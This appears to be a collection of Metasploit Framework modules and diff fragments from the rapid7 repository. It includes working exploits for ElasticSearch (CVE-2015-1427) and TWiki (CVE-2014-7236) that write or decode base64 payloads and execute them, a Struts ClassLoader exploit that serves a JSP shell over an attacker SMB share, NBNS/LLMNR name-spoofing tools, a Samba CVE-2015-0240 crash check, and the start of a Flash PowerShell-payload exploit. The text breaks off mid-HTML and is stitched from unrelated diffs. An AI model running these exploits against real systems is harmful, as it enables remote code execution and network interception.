# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/auxiliary/report'
class Metasploit3 < Msf::Auxiliary
# Exploit mixins should be called first
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB::Client
include Msf::Exploit::Remote::SMB::Client::Authenticated
# Scanner mixin should be near last
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
# Aliases for common classes
SIMPLE = Rex::Proto::SMB::SimpleClient
XCEPT = Rex::Proto::SMB::Exceptions
CONST = Rex::Proto::SMB::Constants
RPC_NETLOGON_UUID = '12345678-1234-abcd-ef00-01234567cffb'
def initialize(info={})
super(update_info(info,
'Name' => 'Samba _netr_ServerPasswordSet Uninitialized Credential State',
'Description' => %q{
This module checks if your Samba target is vulnerable to an uninitialized variable creds.
},
'Author' =>
[
'Richard van Eeden', # Original discovery
'sleepya', # Public PoC for the explicit check
'sinn3r'
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2015-0240'],
['OSVDB', '118637'],
['URL', 'https://securityblog.redhat.com/2015/02/23/samba-vulnerability-cve-2015-0240/'],
['URL', 'https://gist.github.com/worawit/33cc5534cb555a0b710b'],
['URL', 'https://www.nccgroup.com/en/blog/2015/03/samba-_netr_serverpasswordset-expoitability-analysis/']
],
'DefaultOptions' =>
{
'SMBDirect' => true,
'SMBPass' => '',
'SMBUser' => '',
'SMBDomain' => '',
'DCERPC::fake_bind_multi' => false
}
))
# This is a good example of passive vs explicit check
register_options([
OptBool.new('PASSIVE', [false, 'Try banner checking instead of triggering the bug', false])
])
# It's either 139 or 445. The user should not touch this.
deregister_options('RPORT', 'RHOST')
end
def rport
@smb_port || datastore['RPORT']
end
# This method is more explicit, but a major downside is it's very slow.
# So we leave the passive one as an option.
# Please also see #maybe_vulnerable?
def is_vulnerable?(ip)
begin
connect
smb_login
handle = dcerpc_handle(RPC_NETLOGON_UUID, '1.0','ncacn_np', ["\\netlogon"])
dcerpc_bind(handle)
rescue ::Rex::Proto::SMB::Exceptions::LoginError,
::Rex::Proto::SMB::Exceptions::ErrorCode => e
elog("#{e.message}\n#{e.backtrace * "\n"}")
return false
rescue Errno::ECONNRESET,
::Rex::Proto::SMB::Exceptions::InvalidType,
::Rex::Proto::SMB::Exceptions::ReadPacket,
::Rex::Proto::SMB::Exceptions::InvalidCommand,
::Rex::Proto::SMB::Exceptions::InvalidWordCount,
::Rex::Proto::SMB::Exceptions::NoReply => e
elog("#{e.message}\n#{e.backtrace * "\n"}")
return false
rescue ::Exception => e
elog("#{e.message}\n#{e.backtrace * "\n"}")
return false
end
# NetrServerPasswordSet request packet
stub =
[
0x00, # Server handle
0x01, # Max count
0x00, # Offset
0x01, # Actual count
0x00, # Account name
0x02, # Sec Chan Type
0x0e, # Max count
0x00, # Offset
0x0e # Actual count
].pack('VVVVvvVVV')
stub << Rex::Text::to_unicode(ip) # Computer name
stub << [0x00].pack('v') # Null byte terminator for the computer name
stub << '12345678' # Credential
stub << [0x0a].pack('V') # Timestamp
stub << "\x00" * 16 # Padding
begin
dcerpc.call(0x06, stub)
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
elog("#{e.message}\n#{e.backtrace * "\n"}")
rescue Errno::ECONNRESET,
::Rex::Proto::SMB::Exceptions::InvalidType,
::Rex::Proto::SMB::Exceptions::ReadPacket,
::Rex::Proto::SMB::Exceptions::InvalidCommand,
::Rex::Proto::SMB::Exceptions::InvalidWordCount,
::Rex::Proto::SMB::Exceptions::NoReply => e
elog("#{e.message}\n#{e.backtrace * "\n"}")
rescue ::Exception => e
if e.to_s =~ /execution expired/i
# So what happens here is that when you trigger the buggy code path, you hit this:
# Program received signal SIGSEGV, Segmentation fault.
# 0xb732ab3b in talloc_chunk_from_ptr (ptr=0xc) at ../lib/talloc/talloc.c:370
# 370 if (unlikely((tc->flags & (TALLOC_FLAG_FREE | ~0xF)) != TALLOC_MAGIC)) {
# In the Samba log, you'll see this as an "internal error" and there will be a "panic action".
# And then Samba will basically not talk back to you at that point. In that case,
# you will either lose the connection, or timeout, or whatever... depending on the SMB
# API you're using. In our case (Metasploit), it's "execution expired."
# Samba (daemon) will stay alive, so it's all good.
return true
else
raise e
end
end
false
ensure
disconnect
end
# Returns the Samba version
def get_samba_info
res = ''
begin
res = smb_fingerprint
rescue ::Rex::Proto::SMB::Exceptions::LoginError,
::Rex::Proto::SMB::Exceptions::ErrorCode
return res
rescue Errno::ECONNRESET,
::Rex::Proto::SMB::Exceptions::InvalidType,
::Rex::Proto::SMB::Exceptions::ReadPacket,
::Rex::Proto::SMB::Exceptions::InvalidCommand,
::Rex::Proto::SMB::Exceptions::InvalidWordCount,
::Rex::Proto::SMB::Exceptions::NoReply
return res
rescue ::Exception => e
if e.to_s =~ /execution expired/
return res
else
raise e
end
ensure
disconnect
end
res['native_lm'].to_s
end
# Converts a version string into an object so we can eval it
def version(v)
Gem::Version.new(v)
end
# Passive check for the uninitialized bug. The information is based on http://cve.mitre.org/
def maybe_vulnerable?(samba_version)
v = samba_version.scan(/Samba (\d+\.\d+\.\d+)/).flatten[0] || ''
return false if v.empty?
found_version = version(v)
if found_version >= version('3.5.0') && found_version <= version('3.5.9')
return true
elsif found_version >= version('3.6.0') && found_version < version('3.6.25')
return true
elsif found_version >= version('4.0.0') && found_version < version('4.0.25')
return true
elsif found_version >= version('4.1.0') && found_version < version('4.1.17')
return true
end
false
end
# Check command
def check_host(ip)
samba_info = ''
smb_ports = [445, 139]
smb_ports.each do |port|
@smb_port = port
samba_info = get_samba_info
vprint_status("Samba version: #{samba_info}")
if samba_info !~ /^samba/i
vprint_status("Target isn't Samba, no check will run.")
return Exploit::CheckCode::Safe
end
if datastore['PASSIVE']
if maybe_vulnerable?(samba_info)
flag_vuln_host(ip, samba_info)
return Exploit::CheckCode::Appears
end
else
# Explicit: Actually triggers the bug
if is_vulnerable?(ip)
flag_vuln_host(ip, samba_info)
return Exploit::CheckCode::Vulnerable
end
end
end
return Exploit::CheckCode::Detected if samba_info =~ /^samba/i
Exploit::CheckCode::Safe
end
# Reports to the database about a possible vulnerable host
def flag_vuln_host(ip, samba_version)
report_vuln(
:host => ip,
:port => rport,
:proto => 'tcp',
:name => self.name,
:info => samba_version,
:refs => self.references
)
end
def run_host(ip)
peer = "#{ip}:#{rport}"
case check_host(ip)
when Exploit::CheckCode::Vulnerable
print_good("#{peer} - The target is vulnerable to CVE-2015-0240.")
when Exploit::CheckCode::Appears
print_good("#{peer} - The target appears to be vulnerable to CVE-2015-0240.")
when Exploit::CheckCode::Detected
print_status("#{peer} - The target appears to be running Samba.")
else
print_status("#{peer} - The target appears to be safe")
end
end
end

View File

@ -103,7 +103,6 @@ class Metasploit3 < Msf::Auxiliary
if datastore['LISTENER']
@listener.kill if @listener
GC.start()
end
if capture and @spoofing and not datastore['BROADCAST']

View File

@ -139,9 +139,7 @@ attr_accessor :sock, :thread
end
ip_pkt.recalc
open_pcap
capture_sendto(ip_pkt, rhost.to_s, true)
close_pcap
capture_sendto(ip_pkt, rhost.to_s, true)
end
def monitor_socket
@ -176,7 +174,10 @@ attr_accessor :sock, :thread
def run
check_pcaprub_loaded()
::Socket.do_not_reverse_lookup = true
::Socket.do_not_reverse_lookup = true # Mac OS X workaround
# Avoid receiving extraneous traffic on our send socket
open_pcap({'FILTER' => 'ether host f0:f0:f0:f0:f0:f0'})
# Multicast Address for LLMNR
multicast_addr = ::IPAddr.new("224.0.0.252")
@ -191,24 +192,28 @@ attr_accessor :sock, :thread
self.sock = Rex::Socket.create_udp(
# This must be INADDR_ANY to receive multicast packets
'LocalHost' => "0.0.0.0",
'LocalPort' => 5355)
'LocalPort' => 5355,
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
)
self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
self.sock.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_ADD_MEMBERSHIP, optval)
self.thread = Rex::ThreadFactory.spawn("LLMNRServerMonitor", false) {
monitor_socket
monitor_socket
}
print_status("LLMNR Spoofer started. Listening for LLMNR requests with REGEX \"#{datastore['REGEX']}\" ...")
add_socket(self.sock)
while thread.alive?
select(nil, nil, nil, 0.25)
end
self.thread.kill
self.sock.close rescue nil
self.thread.join
end
def cleanup
if self.thread and self.thread.alive?
self.thread.kill
self.thread = nil
end
close_pcap
end
end

View File

@ -9,6 +9,9 @@ class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Capture
attr_accessor :sock, :thread
def initialize
super(
'Name' => 'NetBIOS Name Service Spoofer',
@ -44,108 +47,142 @@ class Metasploit3 < Msf::Auxiliary
])
register_advanced_options([
OptBool.new('Debug', [ false, "Determines whether incoming packet parsing is displayed", false])
OptBool.new('DEBUG', [ false, "Determines whether incoming packet parsing is displayed", false])
])
deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER')
self.thread = nil
self.sock = nil
end
def dispatch_request(packet, rhost, src_port)
rhost = ::IPAddr.new(rhost)
# `recvfrom` (on Linux at least) will give us an ipv6/ipv4 mapped
# addr like "::ffff:192.168.0.1" when the interface we're listening
# on has an IPv6 address. Convert it to just the v4 addr
if rhost.ipv4_mapped?
rhost = rhost.native
end
# Convert to string
rhost = rhost.to_s
spoof = ::IPAddr.new(datastore['SPOOFIP'])
return if packet.length == 0
nbnsq_transid = packet[0..1]
nbnsq_flags = packet[2..3]
nbnsq_questions = packet[4..5]
nbnsq_answerrr = packet[6..7]
nbnsq_authorityrr = packet[8..9]
nbnsq_additionalrr = packet[10..11]
nbnsq_name = packet[12..45]
decoded = ""
nbnsq_name.slice(1..-2).each_byte do |c|
decoded << "#{(c - 65).to_s(16)}"
end
nbnsq_decodedname = "#{[decoded].pack('H*')}".strip()
nbnsq_type = packet[46..47]
nbnsq_class = packet[48..49]
return unless nbnsq_decodedname =~ /#{datastore['REGEX']}/i
vprint_good("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} matches regex, responding with #{spoof}")
if datastore['DEBUG']
print_status("transid: #{nbnsq_transid.unpack('H4')}")
print_status("tlags: #{nbnsq_flags.unpack('B16')}")
print_status("questions: #{nbnsq_questions.unpack('n')}")
print_status("answerrr: #{nbnsq_answerrr.unpack('n')}")
print_status("authorityrr: #{nbnsq_authorityrr.unpack('n')}")
print_status("additionalrr: #{nbnsq_additionalrr.unpack('n')}")
print_status("name: #{nbnsq_name} #{nbnsq_name.unpack('H34')}")
print_status("full name: #{nbnsq_name.slice(1..-2)}")
print_status("decoded: #{decoded}")
print_status("decoded name: #{nbnsq_decodedname}")
print_status("type: #{nbnsq_type.unpack('n')}")
print_status("class: #{nbnsq_class.unpack('n')}")
end
# time to build a response packet - Oh YEAH!
response = nbnsq_transid +
"\x85\x00" + # Flags = response + authoratative + recursion desired +
"\x00\x00" + # Questions = 0
"\x00\x01" + # Answer RRs = 1
"\x00\x00" + # Authority RRs = 0
"\x00\x00" + # Additional RRs = 0
nbnsq_name + # original query name
nbnsq_type + # Type = NB ...whatever that means
nbnsq_class+ # Class = IN
"\x00\x04\x93\xe0" + # TTL = a long ass time
"\x00\x06" + # Datalength = 6
"\x00\x00" + # Flags B-node, unique = whatever that means
spoof.hton
pkt = PacketFu::UDPPacket.new
pkt.ip_saddr = Rex::Socket.source_address(rhost)
pkt.ip_daddr = rhost
pkt.ip_ttl = 255
pkt.udp_sport = 137
pkt.udp_dport = src_port
pkt.payload = response
pkt.recalc
capture_sendto(pkt, rhost)
end
def monitor_socket
while true
rds = [self.sock]
wds = []
eds = [self.sock]
r,_,_ = ::IO.select(rds,wds,eds,0.25)
if (r != nil and r[0] == self.sock)
packet, host, port = self.sock.recvfrom(65535)
dispatch_request(packet, host, port)
end
end
end
def run
check_pcaprub_loaded() # Check first since otherwise this is all for naught
# MacOS X workaround
::Socket.do_not_reverse_lookup = true
check_pcaprub_loaded()
::Socket.do_not_reverse_lookup = true # Mac OS X workaround
@sock = ::UDPSocket.new()
@sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
@sock.bind('', 137) # couldn't specify srv host because it missed broadcasts
# Avoid receiving extraneous traffic on our send socket
open_pcap({'FILTER' => 'ether host f0:f0:f0:f0:f0:f0'})
@run = true
self.sock = Rex::Socket.create_udp(
'LocalHost' => "0.0.0.0",
'LocalPort' => 137,
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
)
add_socket(self.sock)
self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
print_status("NBNS Spoofer started. Listening for NBNS requests...")
begin
while @run # Not exactly thrilled we can never turn this off XXX fix this sometime.
packet, addr = @sock.recvfrom(512)
src_port = addr[1]
rhost = addr[3]
break if packet.length == 0
nbnsq_transid = packet[0..1]
nbnsq_flags = packet[2..3]
nbnsq_questions = packet[4..5]
nbnsq_answerrr = packet[6..7]
nbnsq_authorityrr = packet[8..9]
nbnsq_additionalrr = packet[10..11]
nbnsq_name = packet[12..45]
decoded = ""
nbnsq_name.slice(1..-2).each_byte do |c|
decoded << "#{(c - 65).to_s(16)}"
self.thread = Rex::ThreadFactory.spawn("NBNSServerMonitor", false) {
begin
monitor_socket
rescue ::Interrupt
raise $!
rescue ::Exception
print_error("Error: #{$!.class} #{$!} #{$!.backtrace}")
end
nbnsq_decodedname = "#{[decoded].pack('H*')}".strip()
nbnsq_type = packet[46..47]
nbnsq_class = packet[48..49]
}
if (nbnsq_decodedname =~ /#{datastore['REGEX']}/i)
print_status("NBNS Spoofer started. Listening for NBNS requests with REGEX \"#{datastore['REGEX']}\" ...")
vprint_good("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} matches regex, responding with #{datastore["SPOOFIP"]}")
if datastore['DEBUG']
print_status("transid: #{nbnsq_transid.unpack('H4')}")
print_status("tlags: #{nbnsq_flags.unpack('B16')}")
print_status("questions: #{nbnsq_questions.unpack('n')}")
print_status("answerrr: #{nbnsq_answerrr.unpack('n')}")
print_status("authorityrr: #{nbnsq_authorityrr.unpack('n')}")
print_status("additionalrr: #{nbnsq_additionalrr.unpack('n')}")
print_status("name: #{nbnsq_name} #{nbnsq_name.unpack('H34')}")
print_status("full name: #{nbnsq_name.slice(1..-2)}")
print_status("decoded: #{decoded}")
print_status("decoded name: #{nbnsq_decodedname}")
print_status("type: #{nbnsq_type.unpack('n')}")
print_status("class: #{nbnsq_class.unpack('n')}")
end
# time to build a response packet - Oh YEAH!
response = nbnsq_transid +
"\x85\x00" + # Flags = response + authoratative + recursion desired +
"\x00\x00" + # Questions = 0
"\x00\x01" + # Answer RRs = 1
"\x00\x00" + # Authority RRs = 0
"\x00\x00" + # Additional RRs = 0
nbnsq_name + # original query name
nbnsq_type + # Type = NB ...whatever that means
nbnsq_class+ # Class = IN
"\x00\x04\x93\xe0" + # TTL = a long ass time
"\x00\x06" + # Datalength = 6
"\x00\x00" + # Flags B-node, unique = whet ever that means
datastore['SPOOFIP'].split('.').collect(&:to_i).pack('C*')
open_pcap
p = PacketFu::UDPPacket.new
p.ip_saddr = Rex::Socket.source_address(rhost)
p.ip_daddr = rhost
p.ip_ttl = 255
p.udp_sport = 137
p.udp_dport = src_port
p.payload = response
p.recalc
capture_sendto(p, rhost)
close_pcap
else
vprint_status("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} did not match regex")
end
end
rescue ::Exception => e
print_error("nbnspoof: #{e.class} #{e} #{e.backtrace}")
# Make sure the socket gets closed on exit
ensure
@sock.close
end
self.thread.join
print_status("NBNS Monitor thread exited...")
end
def cleanup
if self.thread and self.thread.alive?
self.thread.kill
self.thread = nil
end
close_pcap
end
end

View File

@ -185,7 +185,6 @@ class Metasploit3 < Msf::Exploit::Remote
"wan_hwaddr2" => @wan_hwaddr2_orig,
"wan_hwaddr_pc" => @wan_hwaddr_pc_orig,
"wan_nat" => @wan_nat_orig,
"opendns_parental_ctrl" => @opendns_parental_ctrl_orig,
"pppoe_flet_sel" => @pppoe_flet_sel_orig,
"pppoe_flet_type" => @pppoe_flet_type_orig,
"pppoe_temp" => @pppoe_temp_orig,

View File

@ -100,22 +100,21 @@ class Metasploit3 < Msf::Exploit::Remote
end
def vulnerable?
addend_one = rand_text_numeric(rand(3) + 1).to_i
addend_two = rand_text_numeric(rand(3) + 1).to_i
sum = addend_one + addend_two
java = 'System.getProperty("java.class.path")'
java = java_sum([addend_one, addend_two])
vprint_status("#{peer} attempting to execute '#{java}' in Java")
vprint_status("#{peer} - Trying to execute 'System.getProperty(\"java.version\")'...")
res = execute(java)
result = parse_result(res)
if result.nil?
vprint_status("#{peer} no response to executed Java")
vprint_status("#{peer} - No results for the Java test")
return false
elsif result =~ /elasticsearch/
vprint_status("#{peer} - Answer to Java test: #{result}")
return true
else
vprint_status("#{peer} response to executed Java: #{result}")
result.to_i == sum
vprint_status("#{peer} - Answer to Java test: #{result}")
return false
end
end
@ -145,10 +144,6 @@ class Metasploit3 < Msf::Exploit::Remote
result.is_a?(::Array) ? result.first : result
end
def java_sum(summands)
summands.join(' + ')
end
def to_java_byte_array(str)
buff = "byte[] buf = new byte[#{str.length}];\n"
i = 0

View File

@ -0,0 +1,202 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'ElasticSearch Search Groovy Sandbox Bypass',
'Description' => %q{
This module exploits a remote command execution (RCE) vulnerability in ElasticSearch,
exploitable by default on ElasticSearch prior to 1.4.3. The bug is found in the
REST API, which does not require authentication, where the search function allows
groovy code execution and its sandbox can be bypassed using java.lang.Math.class.forName
to reference arbitrary classes. It can be used to execute arbitrary Java code. This
module has been tested successfully on ElasticSearch 1.4.2 on Ubuntu Server 12.04.
},
'Author' =>
[
'Cameron Morris', # Vulnerability discovery
'Darren Martyn', # Public Exploit
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2015-1427'],
['URL', 'https://jordan-wright.github.io/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/'],
['URL', 'https://github.com/XiphosResearch/exploits/tree/master/ElasticSearch'],
['URL', 'http://drops.wooyun.org/papers/5107']
],
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'Targets' =>
[
['ElasticSearch 1.4.2', {}]
],
'DisclosureDate' => 'Feb 11 2015',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(9200),
OptString.new('TARGETURI', [true, 'The path to the ElasticSearch REST API', "/"])
], self.class)
end
def check
result = Exploit::CheckCode::Safe
if vulnerable?
result = Exploit::CheckCode::Vulnerable
end
result
end
def exploit
print_status("#{peer} - Checking vulnerability...")
unless vulnerable?
fail_with(Failure::Unknown, "#{peer} - Java has not been executed, aborting...")
end
print_status("#{peer} - Discovering TEMP path...")
res = execute(java_tmp_dir)
tmp_dir = parse_result(res)
if tmp_dir.nil?
fail_with(Failure::Unknown, "#{peer} - Could not identify TEMP path...")
else
print_good("#{peer} - TEMP path on '#{tmp_dir}'")
end
print_status("#{peer} - Discovering remote OS...")
res = execute(java_os)
os = parse_result(res)
if os.nil?
fail_with(Failure::Unknown, "#{peer} - Could not identify remote OS...")
else
print_good("#{peer} - Remote OS is '#{os}'")
end
if os =~ /win/i
tmp_file = "#{tmp_dir}#{rand_text_alpha(4 + rand(4))}.jar"
else
tmp_file = File.join(tmp_dir, "#{rand_text_alpha(4 + rand(4))}.jar")
end
register_files_for_cleanup(tmp_file)
print_status("#{peer} - Trying to load metasploit payload...")
java = java_load_class(os, tmp_file)
execute(java)
end
def vulnerable?
java = 'java.lang.Math.class.forName("java.lang.Runtime")'
vprint_status("#{peer} - Trying to get a reference to java.lang.Runtime...")
res = execute(java)
result = parse_result(res)
if result.nil?
vprint_status("#{peer} - no response to test")
return false
elsif result == 'class java.lang.Runtime'
return true
end
false
end
def parse_result(res)
unless res
vprint_error("#{peer} - No response")
return nil
end
unless res.code == 200 && res.body
vprint_error("#{peer} - Target answered with HTTP code #{res.code} (with#{res.body ? '' : 'out'} a body)")
return nil
end
begin
json = JSON.parse(res.body.to_s)
rescue JSON::ParserError
return nil
end
begin
result = json['hits']['hits'][0]['fields']['msf_result']
rescue
return nil
end
result.is_a?(::Array) ? result.first : result
end
def java_tmp_dir
'java.lang.Math.class.forName("java.lang.System").getProperty("java.io.tmpdir")'
end
def java_os
'java.lang.Math.class.forName("java.lang.System").getProperty("os.name")'
end
def java_load_class(os, tmp_file)
if os =~ /win/i
tmp_file.gsub!(/\\/, '\\\\\\\\')
end
java = [
'c=java.lang.Math.class.forName("java.io.FileOutputStream");',
'b64=java.lang.Math.class.forName("sun.misc.BASE64Decoder");',
"i=c.getDeclaredConstructor(String.class).newInstance(\"#{tmp_file}\");",
'b64_i=b64.newInstance();',
"i.write(b64_i.decodeBuffer(\"#{Rex::Text.encode_base64(payload.encoded)}\"));",
'loader_class=java.lang.Math.class.forName("java.net.URLClassLoader");',
'file_class=java.lang.Math.class.forName("java.io.File");',
"file_url=file_class.getDeclaredConstructor(String.class).newInstance(\"#{tmp_file}\").toURI().toURL();",
'loader=loader_class.newInstance();',
'loader.addURL(file_url);',
'm=loader.loadClass(\'metasploit.Payload\');',
'm.main(null);'
]
java.join
end
def execute(java, timeout = 20)
payload = {
"size" => 1,
"query" => {
"filtered" => {
"query" => {
"match_all" => {}
}
}
},
"script_fields" => {
"msf_result" => {
"script" => java
}
}
}
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s, "_search"),
'method' => 'POST',
'data' => JSON.generate(payload)
}, timeout)
res
end
end

View File

@ -69,7 +69,7 @@ class Metasploit3 < Msf::Exploit::Remote
'Platform' => 'win'
}
],
['Windows / Tomcat 6 & 7 (Remote SMB Resource)',
['Windows / Tomcat 6 & 7 and GlassFish 4 (Remote SMB Resource)',
{
'Arch' => ARCH_JAVA,
'Platform' => 'win'
@ -84,12 +84,10 @@ class Metasploit3 < Msf::Exploit::Remote
Opt::RPORT(8080),
OptEnum.new('STRUTS_VERSION', [ true, 'Apache Struts Framework version', '2.x', ['1.x','2.x']]),
OptString.new('TARGETURI', [ true, 'The path to a struts application action', "/struts2-blank/example/HelloWorld.action"]),
OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 10]),
OptString.new('FILE_NAME', [ true, 'The JSP file with the payload (target dependant)', 'HelloWorld.jsp']),
OptString.new('FOLDER_NAME', [ true, 'The Folder where the JSP payload lives (target dependant)', 'example'])
OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 10])
], self.class)
deregister_options('FILE_CONTENTS')
deregister_options('SHARE', 'FILE_NAME', 'FOLDER_NAME', 'FILE_CONTENTS')
end
def jsp_dropper(file, exe)
@ -202,11 +200,8 @@ class Metasploit3 < Msf::Exploit::Remote
end
payload_file = rand_text_alphanumeric(4 + rand(4))
jsp = jsp_dropper(payload_file, payload_exe)
if target['Platform'] == 'win' && target['Arch'] == ARCH_X86
register_files_for_cleanup("../webapps/ROOT/#{payload_file}")
else
register_files_for_cleanup(payload_file)
end
register_files_for_cleanup(payload_file)
end
jsp
@ -226,6 +221,7 @@ class Metasploit3 < Msf::Exploit::Remote
# Used with SMB targets
def primer
self.file_name << '.jsp'
self.file_contents = payload.encoded
print_status("JSP payload available on #{unc}...")
@ -235,9 +231,19 @@ class Metasploit3 < Msf::Exploit::Remote
'version' => '1.1',
'method' => 'GET',
'vars_get' => {
'class.classLoader.resources.dirContext.docBase' => "\\\\#{srvhost}\\#{share}"
'class[\'classLoader\'].resources.dirContext.docBase' => "\\\\#{srvhost}\\#{share}"
}
})
jsp_shell = target_uri.path.to_s.split('/')[0..-2].join('/')
jsp_shell << "/#{self.file_name}"
print_status("#{peer} - Accessing JSP shell at #{jsp_shell}...")
send_request_cgi({
'uri' => normalize_uri(jsp_shell),
'version' => '1.1',
'method' => 'GET',
})
end
def class_loader_exploit
@ -265,11 +271,9 @@ class Metasploit3 < Msf::Exploit::Remote
fail_with(Failure::Unknown, "#{peer} - The log file hasn't been flushed")
end
if target['Platform'] == 'win' && target['Arch'] == ARCH_X86
register_files_for_cleanup("../webapps/ROOT/#{@jsp_file}")
else
register_files_for_cleanup(@jsp_file)
end
# This path depends on CWD. May require manual cleanup
# See https://github.com/rapid7/metasploit-framework/issues/4667
print_warning("This exploit requires manual cleanup of '#{@jsp_file}' on the target")
# Prepare the JSP
print_status("#{peer} - Generating JSP...")
@ -288,9 +292,7 @@ class Metasploit3 < Msf::Exploit::Remote
end
# Check log file... enjoy shell!
unless target['Arch'] == ARCH_JAVA
check_log_file(random_request)
end
check_log_file(random_request)
# No matter what happened, try to 'restore' the Class Loader
properties = {
@ -300,11 +302,6 @@ class Metasploit3 < Msf::Exploit::Remote
:file_date_format => ''
}
modify_class_loader(properties)
if target['Arch'] == ARCH_JAVA
send_request_cgi({ 'uri' => normalize_uri("/", @jsp_file) })
end
end
end

View File

@ -0,0 +1,101 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'TWiki Debugenableplugins Remote Code Execution',
'Description' => %q{
TWiki 4.0.x-6.0.0 contains a vulnerability in the Debug functionality.
The value of the debugenableplugins parameter is used without proper sanitization
in an Perl eval statement which allows remote code execution
},
'Author' =>
[
'Netanel Rubin', # from Check Point - Discovery
'h0ng10', # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2014-7236'],
[ 'OSVDB', '112977'],
[ 'URL', 'http://twiki.org/cgi-bin/view/Codev/SecurityAlert-CVE-2014-7236']
],
'Privileged' => false,
'Targets' =>
[
[ 'Automatic',
{
'Payload' =>
{
'BadChars' => "",
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl python php',
}
},
'Platform' => ['unix'],
'Arch' => ARCH_CMD
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 09 2014'))
register_options(
[
OptString.new('TARGETURI', [ true, "TWiki path", '/do/view/Main/WebHome' ]),
OptString.new('PLUGIN', [true, "A existing TWiki Plugin", 'BackupRestorePlugin'])
], self.class)
end
def send_code(perl_code)
uri = target_uri.path
data = "debugenableplugins=#{datastore['PLUGIN']}%3b" + CGI.escape(perl_code) + "%3bexit"
res = send_request_cgi!({
'method' => 'POST',
'uri' => uri,
'data' => data
})
return res
end
def check
rand_1 = rand_text_alpha(5)
rand_2 = rand_text_alpha(5)
code = "print(\"Content-Type:text/html\\r\\n\\r\\n#{rand_1}\".\"#{rand_2}\")"
res = send_code(code)
if res and res.code == 200
return CheckCode::Vulnerable if res.body == rand_1 + rand_2
end
CheckCode::Unknown
end
def exploit
code = "print(\"Content-Type:text/html\\r\\n\\r\\n\");"
code += "require('MIME/Base64.pm');MIME::Base64->import();"
code += "system(decode_base64('#{Rex::Text.encode_base64(payload.encoded)}'));exit"
res = send_code(code)
handler
end
end

View File

@ -0,0 +1,118 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
CLASSID = 'd27cdb6e-ae6d-11cf-96b8-444553540000'
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::BrowserExploitServer
def initialize(info={})
super(update_info(info,
'Name' => "Adobe Flash Player PCRE Regex Vulnerability",
'Description' => %q{
This module exploits a vulnerability found in Adobe Flash Player. A compilation logic error
in the PCRE engine, specifically in the handling of the \c escape sequence when followed by
a multi-byte UTF8 character, allows arbitrary execution of PCRE bytecode.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Mark Brand', # Found vuln
'sinn3r' # MSF
],
'References' =>
[
[ 'CVE', '2015-0318' ],
[ 'URL', 'http://googleprojectzero.blogspot.com/2015/02/exploitingscve-2015-0318sinsflash.html' ],
[ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=199' ]
],
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true
},
'DefaultOptions' =>
{
'Retries' => true
},
'Platform' => 'win',
'BrowserRequirements' =>
{
:source => /script|headers/i,
:clsid => "{#{CLASSID}}",
:method => "LoadMovie",
:os_name => OperatingSystems::Match::WINDOWS_7,
:ua_name => Msf::HttpClients::IE,
# Ohter versions are vulnerable but .235 is the one that works for me pretty well
# So we're gonna limit to this one for now. More validation needed in the future.
:flash => lambda { |ver| ver == '16.0.0.235' }
},
'Targets' =>
[
[ 'Automatic', {} ]
],
'Privileged' => false,
'DisclosureDate' => "Nov 25 2014",
'DefaultTarget' => 0))
end
def exploit
# Please see data/exploits/CVE-2015-0318/ for source,
# that's where the actual exploit is
@swf = create_swf
super
end
def on_request_exploit(cli, request, target_info)
print_status("Request: #{request.uri}")
if request.uri =~ /\.swf$/
print_status("Sending SWF...")
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'})
return
end
print_status("Sending HTML...")
tag = retrieve_tag(cli, request)
profile = get_profile(tag)
profile[:tried] = false unless profile.nil? # to allow request the swf
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
end
def exploit_template(cli, target_info)
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
target_payload = get_payload(cli, target_info)
psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})
b64_payload = Rex::Text.encode_base64(psh_payload)
html_template = %Q|<html>
<body>
